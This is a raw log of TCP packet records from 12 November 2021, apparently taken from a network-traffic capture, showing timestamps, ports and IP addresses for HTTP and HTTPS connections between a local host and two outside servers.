Nov 12, 2021 22:23:15.880295038 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.880331039 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.902179956 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902256966 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902270079 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902281046 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902292967 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902307034 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.902359962 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902385950 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.902426958 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.902439117 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902452946 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902466059 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902477980 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902491093 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.902491093 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902544022 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902555943 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902570009 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902635098 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902648926 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902667046 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902674913 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902678013 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902692080 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902707100 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902745008 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902756929 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902789116 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902801037 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902813911 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902827024 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902839899 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902851105 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902862072 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902900934 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902911901 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902924061 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902936935 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902947903 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902960062 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902971029 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.902982950 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.924681902 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.924690008 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.924704075 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.924789906 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.924901962 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.925188065 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.925200939 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.368885040 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.369174004 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.751239061 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.752315044 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.773783922 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.774036884 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.774729013 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.774857044 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.775341988 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.775444031 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.775630951 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.775707006 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.797794104 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.797842026 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.798008919 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.798041105 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.798093081 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.798115015 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.798121929 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.798155069 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.798182011 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.798182964 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.798201084 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.798214912 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.798229933 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.798244953 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.798294067 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.798320055 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.798341990 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.798362970 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.798383951 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.798407078 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.798454046 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.820651054 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.820677042 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.820684910 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.820693016 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.820744991 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.820758104 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.820823908 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.820832014 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.820879936 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.820894003 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.820899010 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.820936918 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.820950985 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.820988894 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.821089983 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.821130037 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.821150064 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.821165085 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.821180105 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.821212053 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.821221113 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.821242094 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.821259022 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.821280003 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.821305990 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.821532965 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.821548939 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.821563959 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.821578026 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.821614981 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.821649075 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.821676016 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.843283892 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843307018 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843317986 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843329906 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843343973 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843358040 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843365908 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843374968 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843386889 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843395948 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.843451023 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843452930 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.843477011 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.843506098 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843518019 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843532085 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843607903 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843621969 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843642950 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843651056 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843698025 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:17.843704939 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843719959 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843732119 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843744993 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843844891 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843856096 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843882084 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843897104 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843961000 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843972921 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843981028 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.843992949 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.844011068 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.844027042 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.844042063 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.844073057 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.844085932 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.844158888 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.844173908 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.844186068 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.844211102 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.865876913 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.865916967 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.865931988 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.865947008 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.865993977 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.866092920 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.866157055 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.866189957 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.866230965 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.870863914 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:17.870978117 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.313287973 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.314771891 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.335743904 CET	80	49796	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.335815907 CET	49796	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.337106943 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.337219954 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.338051081 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.338172913 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.338393927 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.338515997 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.360445023 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.360471010 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.360656977 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.360711098 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.360723019 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.360738039 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.360749006 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.360763073 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.360805035 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.360822916 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.360833883 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.360857964 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.360861063 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.360873938 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.360874891 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.360888004 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.360915899 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.360949039 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.383111954 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.383132935 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.383141994 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.383200884 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.383213997 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.383227110 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.383238077 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.383249998 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.383260965 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.383275032 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.383311033 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.383316040 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.383352041 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.383389950 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.383397102 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.383409977 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.383420944 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.383434057 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.383445024 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.383452892 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.383457899 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.383488894 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.383490086 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.383497953 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.383505106 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.383510113 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.383554935 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.383585930 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.405687094 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.405710936 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.405735016 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.405738115 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.405786991 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.405833960 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.405889034 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.405903101 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.405915022 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.405936003 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.405937910 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.405945063 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.405951023 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.405958891 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.405975103 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.405987978 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.405992031 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.405999899 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.406044960 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406059027 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406071901 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406085968 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406097889 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406111002 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406265974 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406286001 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406287909 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406294107 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406307936 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406322002 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406333923 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406344891 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406352997 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406363010 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406371117 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406383038 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406394005 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406405926 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406418085 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406505108 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406517982 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.406529903 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.428215027 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.428240061 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.428495884 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.428514004 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.428527117 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.428607941 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.431119919 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.431216002 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.519005060 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.520613909 CET	49798	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.541464090 CET	80	49797	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.541558027 CET	49797	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.542870998 CET	80	49798	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.542989969 CET	49798	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.548904896 CET	49798	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.571253061 CET	80	49798	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.575047970 CET	80	49798	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:18.575196028 CET	49798	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:18.582032919 CET	49784	80	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:18.583569050 CET	49799	80	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:18.600260019 CET	80	49799	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:18.600287914 CET	80	49784	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:18.600388050 CET	49799	80	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:18.600425005 CET	49784	80	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:18.601067066 CET	49799	80	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:18.617666960 CET	80	49799	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:18.630228996 CET	80	49799	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:18.630347013 CET	49799	80	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:18.846601963 CET	49800	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:18.846673965 CET	443	49800	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:18.846770048 CET	49800	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:18.848192930 CET	49800	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:18.848227978 CET	443	49800	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:18.885814905 CET	443	49800	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:18.885900974 CET	49800	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:18.886559963 CET	49800	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:18.886573076 CET	443	49800	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:18.890214920 CET	49800	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:18.890235901 CET	443	49800	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:19.018625975 CET	49798	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.019730091 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.041019917 CET	80	49798	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.041083097 CET	49798	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.042123079 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.042231083 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.042795897 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.042891979 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.043067932 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.043206930 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.052400112 CET	443	49800	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:19.052491903 CET	49800	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:19.052510977 CET	443	49800	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:19.052541018 CET	443	49800	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:19.052580118 CET	49800	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:19.052695036 CET	49800	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:19.053081036 CET	49800	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:19.053107023 CET	443	49800	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:19.065257072 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.065280914 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.065371037 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.065407038 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.065458059 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.065471888 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.065484047 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.065486908 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.065495968 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.065506935 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.065520048 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.065532923 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.065557003 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.065579891 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.065587997 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.065598011 CET	49801	80	192.168.2.4	178.208.83.45
